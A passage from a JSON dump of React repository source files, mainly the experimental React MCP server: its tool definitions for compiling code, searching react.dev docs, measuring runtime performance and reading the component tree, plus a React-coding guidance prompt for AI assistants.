else {\n        connection.console.error(JSON.stringify(err, null, 2));\n      }\n    }\n  }\n});\n\nconnection.onDidChangeWatchedFiles(change => {\n  resetState();\n  connection.console.log(\n    change.changes.map(c => `File changed: ${c.uri}`).join('\\n'),\n  );\n});\n\nconnection.onCodeLens(params => {\n  connection.console.info(`Handling codelens for: ${params.textDocument.uri}`);\n  if (compiledFns.size === 0) {\n    return;\n  }\n  const lenses: Array<CodeLens> = [];\n  for (const compiled of compiledFns) {\n    if (compiled.fnLoc != null) {\n      const fnLoc = babelLocationToRange(compiled.fnLoc);\n      if (fnLoc === null) continue;\n      const lens = CodeLens.create(\n        getRangeFirstCharacter(fnLoc),\n        compiled.fnLoc,\n      );\n      if (lastResult?.code != null) {\n        lens.command = {\n          title: 'Optimized by React Compiler',\n          command: 'todo',\n        };\n      }\n      lenses.push(lens);\n    }\n  }\n  return lenses;\n});\n\nconnection.onCodeLensResolve(lens => {\n  connection.console.info(`Resolving codelens for: ${JSON.stringify(lens)}`);\n  if (lastResult?.code != null) {\n    connection.console.log(lastResult.code);\n  }\n  return lens;\n});\n\nfunction resetState() {\n  connection.console.debug('Clearing state');\n  compiledFns.clear();\n}\n\ndocuments.listen(connection);\nconnection.listen();\nconnection.console.info(`React Analyzer running in node ${process.version}`);\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/src/utils/range.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {type Position} from 'vscode-languageserver/node';\n\nexport type Range = [Position, Position];\n\nexport function isPositionWithinRange(\n  position: Position,\n  [start, end]: Range,\n): boolean {\n  return position.line >= start.line && position.line <= end.line;\n}\n\nexport function isRangeWithinRange(aRange: Range, bRange: Range): boolean {\n  const startComparison = comparePositions(aRange[0], bRange[0]);\n  const endComparison = comparePositions(aRange[1], bRange[1]);\n  return startComparison >= 0 && endComparison <= 0;\n}\n\nfunction comparePositions(a: Position, b: Position): number {\n  const lineComparison = a.line - b.line;\n  if (lineComparison === 0) {\n    return a.character - b.character;\n  } else {\n    return lineComparison;\n  }\n}\n\nexport function sourceLocationToRange(\n  loc: t.SourceLocation,\n): [Position, Position] {\n  return [\n    {line: loc.start.line - 1, character: loc.start.column},\n    {line: loc.end.line - 1, character: loc.end.column},\n  ];\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"rootDir\": \"../../..\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n    \"target\": \"ES2015\",\n    \"sourceMap\": false,\n    \"removeComments\": true,\n  },\n  \"exclude\": [\"node_modules\", \".vscode-test\"],\n  \"include\": [\"src/**/*.ts\"]\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"Node16\",\n    \"moduleResolution\": \"Node16\",\n    \"rootDir\": \"../\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n    \"lib\": [\"ES2022\"],\n\n    \"target\": \"ES2022\",\n    \"importsNotUsedAsValues\": \"remove\",\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"server/src/**/*.ts\", \"client/src/**/*.ts\"],\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/README.md",
    "content": "# React MCP Server (experimental)\n\nAn experimental MCP Server for React.\n\n## Development\n\nFirst, add this file if you're using Claude Desktop: `code ~/Library/Application\\ Support/Claude/claude_desktop_config.json`. Copy the absolute path from `which node` and from `react/compiler/react-mcp-server/dist/index.js` and paste, for example:\n\n```json\n{\n  \"mcpServers\": {\n    \"react\": {\n      \"command\": \"/Users/<username>/.asdf/shims/node\",\n      \"args\": [\n        \"/Users/<username>/code/react/compiler/packages/react-mcp-server/dist/index.js\"\n      ]\n    }\n  }\n}\n```\n\nNext, run `yarn workspace react-mcp-server watch` from the `react/compiler` directory and make changes as needed. You will need to restart Claude everytime you want to try your changes.\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/package.json",
    "content": "{\n  \"name\": \"react-mcp-server\",\n  \"version\": \"0.0.0\",\n  \"description\": \"React MCP Server (experimental)\",\n  \"bin\": {\n    \"react-mcp-server\": \"./dist/index.js\"\n  },\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"echo 'no tests'\",\n    \"dev\": \"concurrently --kill-others -n build,inspect \\\"yarn run watch\\\" \\\"wait-on dist/index.js && yarn run inspect\\\"\",\n    \"inspect\": \"npx @modelcontextprotocol/inspector node dist/index.js\",\n    \"watch\": \"yarn build --watch\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.26.0\",\n    \"@babel/parser\": \"^7.26\",\n    \"@babel/preset-env\": \"^7.26.9\",\n    \"@babel/preset-react\": \"^7.18.6\",\n    \"@babel/preset-typescript\": \"^7.27.1\",\n    \"@modelcontextprotocol/sdk\": \"^1.9.0\",\n    \"algoliasearch\": \"^5.23.3\",\n    \"cheerio\": \"^1.0.0\",\n    \"html-to-text\": \"^9.0.5\",\n    \"prettier\": \"^3.3.3\",\n    \"puppeteer\": \"^24.7.2\",\n    \"zod\": \"^3.25.0 || ^4.0.0\"\n  },\n  \"devDependencies\": {\n    \"@types/html-to-text\": \"^9.0.4\",\n    \"@types/jest\": \"^29.5.14\",\n    \"jest\": \"^29.7.0\",\n    \"ts-jest\": \"^29.3.2\"\n  },\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-mcp-server\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/compiler/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {parseAsync, transformFromAstAsync} from '@babel/core';\nimport BabelPluginReactCompiler, {\n  type PluginOptions,\n} from 'babel-plugin-react-compiler/src';\nimport * as prettier from 'prettier';\n\nexport let lastResult: BabelCore.BabelFileResult | null = null;\n\nexport type PrintedCompilerPipelineValue =\n  | {\n      kind: 'hir';\n      name: string;\n      fnName: string | null;\n      value: string;\n    }\n  | {kind: 'reactive'; name: string; fnName: string | null; value: string}\n  | {kind: 'debug'; name: string; fnName: string | null; value: string};\n\ntype CompileOptions = {\n  text: string;\n  file: string;\n  options: PluginOptions | null;\n};\nexport async function compile({\n  text,\n  file,\n  options,\n}: CompileOptions): Promise<BabelCore.BabelFileResult> {\n  const ast = await parseAsync(text, {\n    sourceFileName: file,\n    parserOpts: {\n      plugins: ['typescript', 'jsx'],\n    },\n    sourceType: 'module',\n  });\n  if (ast == null) {\n    throw new Error('Could not parse');\n  }\n  const plugins =\n    options != null\n      ? [[BabelPluginReactCompiler, options]]\n      : [[BabelPluginReactCompiler]];\n  const result = await transformFromAstAsync(ast, text, {\n    filename: file,\n    highlightCode: false,\n    retainLines: true,\n    plugins,\n    sourceType: 'module',\n    sourceFileName: file,\n  });\n  if (result?.code == null) {\n    throw new Error(\n      `Expected BabelPluginReactCompiler to compile successfully, got ${result}`,\n    );\n  }\n  try {\n    result.code = await prettier.format(result.code, {\n      semi: false,\n      parser: 'babel-ts',\n    });\n    if (result.code != null) {\n      lastResult = result;\n    }\n  } catch (err) {\n    // If prettier failed just log, no need to crash\n    console.error(err);\n  }\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {McpServer} from '@modelcontextprotocol/sdk/server/mcp.js';\nimport {StdioServerTransport} from '@modelcontextprotocol/sdk/server/stdio.js';\nimport {z} from 'zod/v4';\nimport {compile, type PrintedCompilerPipelineValue} from './compiler';\nimport {\n  CompilerPipelineValue,\n  printReactiveFunctionWithOutlined,\n  printFunctionWithOutlined,\n  PluginOptions,\n  SourceLocation,\n} from 'babel-plugin-react-compiler/src';\nimport * as cheerio from 'cheerio';\nimport {queryAlgolia} from './utils/algolia';\nimport assertExhaustive from './utils/assertExhaustive';\nimport {convert} from 'html-to-text';\nimport {measurePerformance} from './tools/runtimePerf';\nimport {parseReactComponentTree} from './tools/componentTree';\n\nfunction calculateMean(values: number[]): string {\n  return values.length > 0\n    ? values.reduce((acc, curr) => acc + curr, 0) / values.length + 'ms'\n    : 'could not collect';\n}\n\nconst server = new McpServer({\n  name: 'React',\n  version: '0.0.0',\n});\n\nserver.tool(\n  'query-react-dev-docs',\n  'This tool lets you search for official docs from react.dev. This always has the most up to date information on React. You can look for documentation on APIs such as <ViewTransition>, <Activity>, and hooks like useOptimistic, useSyncExternalStore, useTransition, and more. Whenever you think hard about React, use this tool to get more information before proceeding.',\n  {\n    query: z.string(),\n  },\n  async ({query}) => {\n    try {\n      const pages = await queryAlgolia(query);\n      if (pages.length === 0) {\n        return {\n          content: [{type: 'text' as const, text: `No results`}],\n        };\n      }\n      const content = pages.map(html => {\n        const $ = cheerio.load(html);\n        // react.dev should always have at least one <article> with the main content\n        const article = $('article').html();\n        if (article != null) {\n          return {\n            type: 'text' as const,\n            text: convert(article),\n          };\n        } else {\n          return {\n            type: 'text' as const,\n            // Fallback to converting the whole page to text.\n            text: convert($.html()),\n          };\n        }\n      });\n      return {\n        content,\n      };\n    } catch (err) {\n      return {\n        isError: true,\n        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],\n      };\n    }\n  },\n);\n\nserver.tool(\n  'compile',\n  `Compile code with React Compiler. This tool will return the compiled output, which is automatically memoized React components and hooks, written in JavaScript or TypeScript. You can run this tool whenever you want to check if some React code will compile successfully. You can also run this tool every time you make a suggestion to code, to see how it affects the compiled output. If the compiler returns a diagnostic message, you should read the diagnostic message and try to fix the code and run the compiler again to verify. After compiling code successfully, you should run it through the review-react-runtime to verify the compiled code is faster than the original.\n\n  <bailouts>\n  When you encounter a bailout or diagnostic message, first think and try to understand where the error is coming from. You can use tools such as puppeteer if available to browse the documentation links provided in the diagnostic, and then read that information to understand the error in more detail. You can propose fixes after doing so.\n\n  This is a non-exhaustive list of bailouts where you should take specific actions:\n  - React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved: fix this by first removing the manual memo (useMemo/useCallback) and then try compiling again. use the review-react-runtime tool to verify that the compiled code can run without crashing. if it crashes, the original code likely breaks the Rules of React and so cannot be safely compiled.\n  </bailouts>\n  `,\n  {\n    text: z.string(),\n    passName: z.enum(['HIR', 'ReactiveFunction', 'All', '@DEBUG']).optional(),\n  },\n  async ({text, passName}) => {\n    const pipelinePasses = new Map<\n      string,\n      Array<PrintedCompilerPipelineValue>\n    >();\n    const recordPass: (\n      result: PrintedCompilerPipelineValue,\n    ) => void = result => {\n      const entry = pipelinePasses.get(result.name);\n      if (Array.isArray(entry)) {\n        entry.push(result);\n      } else {\n        pipelinePasses.set(result.name, [result]);\n      }\n    };\n    const logIR = (result: CompilerPipelineValue): void => {\n      switch (result.kind) {\n        case 'ast': {\n          break;\n        }\n        case 'hir': {\n          recordPass({\n            kind: 'hir',\n            fnName: result.value.id,\n            name: result.name,\n            value: printFunctionWithOutlined(result.value),\n          });\n          break;\n        }\n        case 'reactive': {\n          recordPass({\n            kind: 'reactive',\n            fnName: result.value.id,\n            name: result.name,\n            value: printReactiveFunctionWithOutlined(result.value),\n          });\n          break;\n        }\n        case 'debug': {\n          recordPass({\n            kind: 'debug',\n            fnName: null,\n            name: result.name,\n            value: result.value,\n          });\n          break;\n        }\n        default: {\n          assertExhaustive(result, `Unhandled result ${result}`);\n        }\n      }\n    };\n    const errors: Array<{message: string; loc: SourceLocation | null}> = [];\n    const compilerOptions: PluginOptions = {\n      panicThreshold: 'none',\n      logger: {\n        debugLogIRs: logIR,\n        logEvent: (_filename, event): void => {\n          if (event.kind === 'CompileError') {\n            const detail = event.detail;\n            const loc =\n              detail.loc == null || typeof detail.loc == 'symbol'\n                ? event.fnLoc\n                : detail.loc;\n            errors.push({\n              message: detail.reason,\n              loc,\n            });\n          }\n        },\n      },\n    };\n    try {\n      const result = await compile({\n        text,\n        file: 'anonymous.tsx',\n        options: compilerOptions,\n      });\n      if (result.code == null) {\n        return {\n          isError: true,\n          content: [{type: 'text' as const, text: 'Error: Could not compile'}],\n        };\n      }\n      const requestedPasses: Array<{type: 'text'; text: string}> = [];\n      if (passName != null) {\n        switch (passName) {\n          case 'All': {\n            const hir = pipelinePasses.get('PropagateScopeDependenciesHIR');\n            if (hir !== undefined) {\n              for (const pipelineValue of hir) {\n                requestedPasses.push({\n                  type: 'text' as const,\n                  text: pipelineValue.value,\n                });\n              }\n            }\n            const reactiveFunc = pipelinePasses.get('PruneHoistedContexts');\n            if (reactiveFunc !== undefined) {\n              for (const pipelineValue of reactiveFunc) {\n                requestedPasses.push({\n                  type: 'text' as const,\n                  text: pipelineValue.value,\n                });\n              }\n            }\n            break;\n          }\n          case 'HIR': {\n            // Last pass before HIR -> ReactiveFunction\n            const requestedPass = pipelinePasses.get(\n              'PropagateScopeDependenciesHIR',\n            );\n            if (requestedPass !== undefined) {\n              for (const pipelineValue of requestedPass) {\n                requestedPasses.push({\n                  type: 'text' as const,\n                  text: pipelineValue.value,\n                });\n              }\n            } else {\n              console.error(`Could not find requested pass ${passName}`);\n            }\n            break;\n          }\n          case 'ReactiveFunction': {\n            // Last pass\n            const requestedPass = pipelinePasses.get('PruneHoistedContexts');\n            if (requestedPass !== undefined) {\n              for (const pipelineValue of requestedPass) {\n                requestedPasses.push({\n                  type: 'text' as const,\n                  text: pipelineValue.value,\n                });\n              }\n            } else {\n              console.error(`Could not find requested pass ${passName}`);\n            }\n            break;\n          }\n          case '@DEBUG': {\n            for (const [, pipelinePass] of pipelinePasses) {\n              for (const pass of pipelinePass) {\n                requestedPasses.push({\n                  type: 'text' as const,\n                  text: `${pass.name}\\n\\n${pass.value}`,\n                });\n              }\n            }\n            break;\n          }\n          default: {\n            assertExhaustive(\n              passName,\n              `Unhandled passName option: ${passName}`,\n            );\n          }\n        }\n        const requestedPass = pipelinePasses.get(passName);\n        if (requestedPass !== undefined) {\n          for (const pipelineValue of requestedPass) {\n            if (pipelineValue.name === passName) {\n              requestedPasses.push({\n                type: 'text' as const,\n                text: pipelineValue.value,\n              });\n            }\n          }\n        }\n      }\n      if (errors.length > 0) {\n        return {\n          content: errors.map(err => {\n            return {\n              type: 'text' as const,\n              text:\n                err.loc === null || typeof err.loc === 'symbol'\n                  ? `React Compiler bailed out:\\n\\n${err.message}`\n                  : `React Compiler bailed out:\\n\\n${err.message}@${err.loc.start.line}:${err.loc.end.line}`,\n            };\n          }),\n        };\n      }\n      return {\n        content: [\n          {type: 'text' as const, text: result.code},\n          ...requestedPasses,\n        ],\n      };\n    } catch (err) {\n      return {\n        isError: true,\n        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],\n      };\n    }\n  },\n);\n\nserver.tool(\n  'review-react-runtime',\n  `Run this tool every time you propose a performance related change to verify if your suggestion actually improves performance.\n\n  <requirements>\n  This tool has some requirements on the code input:\n  - The react code that is passed into this tool MUST contain an App functional component without arrow function.\n  - DO NOT export anything since we can't parse export syntax with this tool.\n  - Only import React from 'react' and use all hooks and imports using the React. prefix like React.useState and React.useEffect\n  </requirements>\n\n  <goals>\n  - LCP - loading speed: good ≤ 2.5 s, needs-improvement 2.5-4 s, poor > 4 s\n  - INP - input responsiveness: good ≤ 200 ms, needs-improvement 200-500 ms, poor > 500 ms\n  - CLS - visual stability: good ≤ 0.10, needs-improvement 0.10-0.25, poor > 0.25\n  - (Optional: FCP ≤ 1.8 s, TTFB ≤ 0.8 s)\n  </goals>\n\n  <evaluation>\n  Classify each metric with the thresholds above. Identify the worst category in the order poor > needs-improvement > good.\n  </evaluation>\n\n  <iterate>\n  (repeat until every metric is good or two consecutive cycles show no gain)\n  - Always run the tool once on the original code before any modification\n  - Run the tool again after making the modification, and apply one focused change based on the failing metric plus React-specific guidance:\n    - LCP: lazy-load off-screen images, inline critical CSS, preconnect, use React.lazy + Suspense for below-the-fold modules. if the user requests for it, use React Server Components for static content (Server Components).\n    - INP: wrap non-critical updates in useTransition, avoid calling setState inside useEffect.\n    - CLS: reserve space via explicit width/height or aspect-ratio, keep stable list keys, use fixed-size skeleton loaders, animate only transform/opacity, avoid inserting ads or banners without placeholders.\n  - Compare the results of your modified code compared to the original to verify that your changes have improved performance.\n  </iterate>\n  `,\n  {\n    text: z.string(),\n    iterations: z.number().optional().default(2),\n  },\n  async ({text, iterations}) => {\n    try {\n      const results = await measurePerformance(text, iterations);\n      const formattedResults = `\n# React Component Performance Results\n\n## Mean Render Time\n${calculateMean(results.renderTime)}\n\n## Mean Web Vitals\n- Cumulative Layout Shift (CLS): ${calculateMean(results.webVitals.cls)}\n- Largest Contentful Paint (LCP): ${calculateMean(results.webVitals.lcp)}\n- Interaction to Next Paint (INP): ${calculateMean(results.webVitals.inp)}\n\n## Mean React Profiler\n- Actual Duration: ${calculateMean(results.reactProfiler.actualDuration)}\n- Base Duration: ${calculateMean(results.reactProfiler.baseDuration)}\n`;\n\n      return {\n        content: [\n          {\n            type: 'text' as const,\n            text: formattedResults,\n          },\n        ],\n      };\n    } catch (error) {\n      return {\n        isError: true,\n        content: [\n          {\n            type: 'text' as const,\n            text: `Error measuring performance: ${error.message}\\n\\n${error.stack}`,\n          },\n        ],\n      };\n    }\n  },\n);\n\nserver.tool(\n  'parse-react-component-tree',\n  `\n  This tool gets the component tree of a React App.\n  passing in a url will attempt to connect to the browser and get the current state of the component tree. If no url is passed in,\n  the default url will be used (http://localhost:3000).\n\n  <requirements>\n  - The url should be a full url with the protocol (http:// or https://) and the domain name (e.g. localhost:3000).\n  - Also the user should be running a Chrome browser running on debug mode on port 9222. If you receive an error message, advise the user to run\n  the following comand in the terminal:\n  MacOS: \"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chrome\"\n  Windows: \"chrome.exe --remote-debugging-port=9222 --user-data-dir=C:\\temp\\chrome\"\n  </requirements>\n  `,\n  {\n    url: z.string().optional().default('http://localhost:3000'),\n  },\n  async ({url}) => {\n    try {\n      const componentTree = await parseReactComponentTree(url);\n\n      return {\n        content: [\n          {\n            type: 'text' as const,\n            text: componentTree,\n          },\n        ],\n      };\n    } catch (err) {\n      return {\n        isError: true,\n        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],\n      };\n    }\n  },\n);\n\nserver.prompt('review-react-code', () => ({\n  messages: [\n    {\n      role: 'assistant',\n      content: {\n        type: 'text',\n        text: `\n## Role\nYou are a React assistant that helps users write more efficient and optimizable React code. You specialize in identifying patterns that enable React Compiler to automatically apply optimizations, reducing unnecessary re-renders and improving application performance.\n\n## Follow these guidelines in all code you produce and suggest\nUse functional components with Hooks: Do not generate class components or use old lifecycle methods. Manage state with useState or useReducer, and side effects with useEffect (or related Hooks). Always prefer functions and Hooks for any new component logic.\n\nKeep components pure and side-effect-free during rendering: Do not produce code that performs side effects (like subscriptions, network requests, or modifying external variables) directly inside the component's function body. Such actions should be wrapped in useEffect or performed in event handlers. Ensure your render logic is a pure function of props and state.\n\nRespect one-way data flow: Pass data down through props and avoid any global mutations. If two components need to share data, lift that state up to a common parent or use React Context, rather than trying to sync local state or use external variables.\n\nNever mutate state directly: Always generate code that updates state immutably. For example, use spread syntax or other methods to create new objects/arrays when updating state. Do not use assignments like state.someValue = ... or array mutations like array.push() on state variables. Use the state setter (setState from useState, etc.) to update state.\n\nAccurately use useEffect and other effect Hooks: whenever you think you could useEffect, think and reason harder to avoid it. useEffect is primarily only used for synchronization, for example synchronizing React with some external state. IMPORTANT - Don't setState (the 2nd value returned by useState) within a useEffect as that will degrade performance. When writing effects, include all necessary dependencies in the dependency array. Do not suppress ESLint rules or omit dependencies that the effect's code uses. Structure the effect callbacks to handle changing values properly (e.g., update subscriptions on prop changes, clean up on unmount or dependency change). If a piece of logic should only run in response to a user action (like a form submission or button click), put that logic in an event handler, not in a useEffect. Where possible, useEffects should return a cleanup function.\n\nFollow the Rules of Hooks: Ensure that any Hooks (useState, useEffect, useContext, custom Hooks, etc.) are called unconditionally at the top level of React function components or other Hooks. Do not generate code that calls Hooks inside loops, conditional statements, or nested helper functions. Do not call Hooks in non-component functions or outside the React component rendering context.\n\nUse refs only when necessary: Avoid using useRef unless the task genuinely requires it (such as focusing a control, managing an animation, or integrating with a non-React library). Do not use refs to store application state that should be reactive. If you do use refs, never write to or read from ref.current during the rendering of a component (except for initial setup like lazy initialization). Any ref usage should not affect the rendered output directly.\n\nPrefer composition and small components: Break down UI into small, reusable components rather than writing large monolithic components. The code you generate should promote clarity and reusability by composing components together. Similarly, abstract repetitive logic into custom Hooks when appropriate to avoid duplicating code.\n\nOptimize for concurrency: Assume React may render your components multiple times for scheduling purposes (especially in development with Strict Mode). Write code that remains correct even if the component function runs more than once. For instance, avoid side effects in the component body and use functional state updates (e.g., setCount(c => c + 1)) when updating state based on previous state to prevent race conditions. Always include cleanup functions in effects that subscribe to external resources. Don't write useEffects for \"do this when this changes\" side-effects. This ensures your generated code will work with React's concurrent rendering features without issues.\n\nOptimize to reduce network waterfalls - Use parallel data fetching wherever possible (e.g., start multiple requests at once rather than one after another). Leverage Suspense for data loading and keep requests co-located with the component that needs the data. In a server-centric approach, fetch related data together in a single request on the server side (using Server Components, for example) to reduce round trips. Also, consider using caching layers or global fetch management to avoid repeating identical requests.\n\nRely on React Compiler - useMemo, useCallback, and React.memo can be omitted if React Compiler is enabled. Avoid premature optimization with manual memoization. Instead, focus on writing clear, simple components with direct data flow and side-effect-free render functions. Let the React Compiler handle tree-shaking, inlining, and other performance enhancements to keep your code base simpler and more maintainable.\n\nDesign for a good user experience - Provide clear, minimal, and non-blocking UI states. When data is loading, show lightweight placeholders (e.g., skeleton screens) rather than intrusive spinners everywhere. Handle errors gracefully with a dedicated error boundary or a friendly inline message. Where possible, render partial data as it becomes available rather than making the user wait for everything. Suspense allows you to declare the loading states in your component tree in a natural way, preventing “flash” states and improving perceived performance.\n\nServer Components - Shift data-heavy logic to the server whenever possible. Break up the more static parts of the app into server components. Break up data fetching into server components. Only client components (denoted by the 'use client' top level directive) need interactivity. By rendering parts of your UI on the server, you reduce the client-side JavaScript needed and avoid sending unnecessary data over the wire. Use Server Components to prefetch and pre-render data, allowing faster initial loads and smaller bundle sizes. This also helps manage or eliminate certain waterfalls by resolving data on the server before streaming the HTML (and partial React tree) to the client.\n\n## Available Tools\n- 'docs': Look up documentation from react.dev. Returns text as a string.\n- 'compile': Run the user's code through React Compiler. Returns optimized JS/TS code with potential diagnostics.\n\n## Process\n1. Analyze the user's code for optimization opportunities:\n   - Check for React anti-patterns that prevent compiler optimization\n   - Identify unnecessary manual optimizations (useMemo, useCallback, React.memo) that the compiler can handle\n   - Look for component structure issues that limit compiler effectiveness\n   - Think about each suggestion you are making and consult React docs using the docs://{query} resource for best practices\n\n2. Use React Compiler to verify optimization potential:\n   - Run the code through the compiler and analyze the output\n   - You can run the compiler multiple times to verify your work\n   - Check for successful optimization by looking for const $ = _c(n) cache entries, where n is an integer\n   - Identify bailout messages that indicate where code could be improved\n   - Compare before/after optimization potential\n\n3. Provide actionable guidance:\n   - Explain specific code changes with clear reasoning\n   - Show before/after examples when suggesting changes\n   - Include compiler results to demonstrate the impact of optimizations\n   - Only suggest changes that meaningfully improve optimization potential\n\n## Optimization Guidelines\n- Avoid mutation of values that are memoized by the compiler\n- State updates should be structured to enable granular updates\n- Side effects should be isolated and dependencies clearly defined\n- The compiler automatically inserts memoization, so manually added useMemo/useCallback/React.memo can often be removed\n\n## Understanding Compiler Output\n- Successful optimization adds import { c as _c } from \"react/compiler-runtime\";\n- Successful optimization initializes a constant sized cache with const $ = _c(n), where n is the size of the cache as an integer\n- When suggesting changes, try to increase or decrease the number of cached expressions (visible in const $ = _c(n))\n  - Increase: more memoization coverage\n  - Decrease: if there are unnecessary dependencies, less dependencies mean less re-rendering\n`,\n      },\n    },\n  ],\n}));\n\nasync function main() {\n  const transport = new StdioServerTransport();\n  await server.connect(transport);\n  console.error('React Compiler MCP Server running on stdio');\n}\n\nmain().catch(error => {\n  console.error('Fatal error in main():', error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/tools/componentTree.ts",
    "content": "import puppeteer from 'puppeteer';\n\nexport async function parseReactComponentTree(url: string): Promise<string> {\n  try {\n    const browser = await puppeteer.connect({\n      browserURL: 'http://127.0.0.1:9222',\n      defaultViewport: null,\n    });\n\n    const pages = await browser.pages();\n\n    let localhostPage = null;\n    for (const page of pages) {\n      const pageUrl = await page.url();\n\n      if (pageUrl.startsWith(url)) {\n        localhostPage = page;\n        break;\n      }\n    }\n\n    if (localhostPage) {\n      const componentTree = await localhostPage.evaluate(() => {\n        return (window as any).__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces\n          .get(1)\n          .__internal_only_getComponentTree();\n      });\n\n      return componentTree;\n    } else {\n      throw new Error(\n        `Could not open the page at ${url}. Is your server running?`,\n      );\n    }\n  } catch (error) {\n    throw new Error('Failed extract component tree' + error);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/tools/runtimePerf.ts",
    "content": "import * as babel from '@babel/core';\nimport puppeteer from 'puppeteer';\n// @ts-ignore\nimport * as babelPresetTypescript from '@babel/preset-typescript';\n// @ts-ignore\nimport * as babelPresetEnv from '@babel/preset-env';\n// @ts-ignore\nimport * as babelPresetReact from '@babel/preset-react';\n\ntype PerformanceResults = {\n  renderTime: number[];\n  webVitals: {\n    cls: number[];\n    lcp: number[];\n    inp: number[];\n    fid: number[];\n    ttfb: number[];\n  };\n  reactProfiler: {\n    id: number[];\n    phase: number[];\n    actualDuration: number[];\n    baseDuration: number[];\n    startTime: number[];\n    commitTime: number[];\n  };\n  error: Error | null;\n};\n\ntype EvaluationResults = {\n  renderTime: number | null;\n  webVitals: {\n    cls: number | null;\n    lcp: number | null;\n    inp: number | null;\n    fid: number | null;\n    ttfb: number | null;\n  };\n  reactProfiler: {\n    id: number | null;\n    phase: number | null;\n    actualDuration: number | null;\n    baseDuration: number | null;\n    startTime: number | null;\n    commitTime: number | null;\n  };\n  error: Error | null;\n};\n\nfunction delay(time: number) {\n  return new Promise(function (resolve) {\n    setTimeout(resolve, time);\n  });\n}\n\nexport async function measurePerformance(\n  code: string,\n  iterations: number,\n): Promise<PerformanceResults> {\n  const babelOptions: babel.TransformOptions = {\n    filename: 'anonymous.tsx',\n    configFile: false,\n    babelrc: false,\n    presets: [babelPresetTypescript, babelPresetEnv, babelPresetReact],\n  };\n\n  const parsed = await babel.parseAsync(code, babelOptions);\n  if (!parsed) {\n    throw new Error('Failed to parse code');\n  }\n\n  const transformResult = await babel.transformFromAstAsync(parsed, undefined, {\n    ...babelOptions,\n    plugins: [\n      () => ({\n        visitor: {\n          ImportDeclaration(\n            path: babel.NodePath<babel.types.ImportDeclaration>,\n          ) {\n            const value = path.node.source.value;\n            if (value === 'react' || value === 'react-dom') {\n              path.remove();\n            }\n          },\n        },\n      }),\n    ],\n  });\n\n  const transpiled = transformResult?.code || undefined;\n  if (!transpiled) {\n    throw new Error('Failed to transpile code');\n  }\n\n  const browser = await puppeteer.launch();\n  const page = await browser.newPage();\n  await page.setViewport({width: 1280, height: 720});\n  const html = buildHtml(transpiled);\n\n  let performanceResults: PerformanceResults = {\n    renderTime: [],\n    webVitals: {\n      cls: [],\n      lcp: [],\n      inp: [],\n      fid: [],\n      ttfb: [],\n    },\n    reactProfiler: {\n      id: [],\n      phase: [],\n      actualDuration: [],\n      baseDuration: [],\n      startTime: [],\n      commitTime: [],\n    },\n    error: null,\n  };\n\n  for (let ii = 0; ii < iterations; ii++) {\n    await page.setContent(html, {waitUntil: 'networkidle0'});\n    await page.waitForFunction(\n      'window.__RESULT__ !== undefined && (window.__RESULT__.renderTime !== null || window.__RESULT__.error !== null)',\n    );\n\n    // ui chaos monkey\n    const selectors = await page.evaluate(() => {\n      window.__INTERACTABLE_SELECTORS__ = [];\n      const elements = Array.from(document.querySelectorAll('a')).concat(\n        Array.from(document.querySelectorAll('button')),\n      );\n      for (const el of elements) {\n        window.__INTERACTABLE_SELECTORS__.push(el.tagName.toLowerCase());\n      }\n      return window.__INTERACTABLE_SELECTORS__;\n    });\n\n    await Promise.all(\n      selectors.map(async (selector: string) => {\n        try {\n          await page.click(selector);\n        } catch (e) {\n          console.log(`warning: Could not click ${selector}: ${e.message}`);\n        }\n      }),\n    );\n    await delay(500);\n\n    // Visit a new page for 1s to background the current page so that WebVitals can finish being calculated\n    const tempPage = await browser.newPage();\n    await tempPage.evaluate(() => {\n      return new Promise(resolve => {\n        setTimeout(() => {\n          resolve(true);\n        }, 1000);\n      });\n    });\n    await tempPage.close();\n\n    const evaluationResult: EvaluationResults = await page.evaluate(() => {\n      return (window as any).__RESULT__;\n    });\n\n    if (evaluationResult.renderTime !== null) {\n      performanceResults.renderTime.push(evaluationResult.renderTime);\n    }\n\n    const webVitalMetrics = ['cls', 'lcp', 'inp', 'fid', 'ttfb'] as const;\n    for (const metric of webVitalMetrics) {\n      if (evaluationResult.webVitals[metric] !== null) {\n        performanceResults.webVitals[metric].push(\n          